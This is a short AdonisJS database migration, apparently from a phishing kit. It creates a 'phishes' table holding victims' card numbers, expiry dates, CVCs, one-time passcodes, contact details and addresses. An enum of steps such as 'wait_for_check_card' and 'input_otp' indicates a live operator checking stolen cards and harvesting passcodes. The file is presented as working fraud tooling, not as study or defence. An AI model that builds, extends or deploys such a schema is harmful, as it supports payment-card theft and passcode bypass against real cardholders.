import BaseSchema from '@ioc:Adonis/Lucid/Schema'

export default class extends BaseSchema {
    protected tableName = 'phishes'

    public async up() {
        this.schema.createTable(this.tableName, (table) => {
            table.increments('id')

            /**
             * Uses timestamptz for PostgreSQL and DATETIME2 for MSSQL
             */
            table.datetime('created_at', { useTz: true })
            table.datetime('updated_at', { useTz: true })

            table.string('ip').nullable()
            table.boolean('online').notNullable().defaultTo(false)
            table.string('socket_id').nullable()
            table
                .enum('step', [
                    'input_card',
                    'wait_for_check_card',
                    'input_otp',
                    'wait_for_check_otp',
                    'success',
                    'fail'
                ])
                .notNullable()
            table.string('phone').nullable()
            table.string('email').nullable()
            table.string('card').nullable()
            table.string('expiry').nullable()
            table.string('cvc').nullable()
            table.string('first_name').nullable()
            table.string('last_name').nullable()
            table.string('country').nullable()
            table.string('state').nullable()
            table.string('city').nullable()
            table.string('address').nullable()
            table.string('zip').nullable()
            table.string('otp').nullable()
            table.string('otp_type').nullable()
            table.string('otp_msg').nullable()
            table.string('err_msg').nullable()
        })
    }

    public async down() {
        this.schema.dropTable(this.tableName)
    }
}
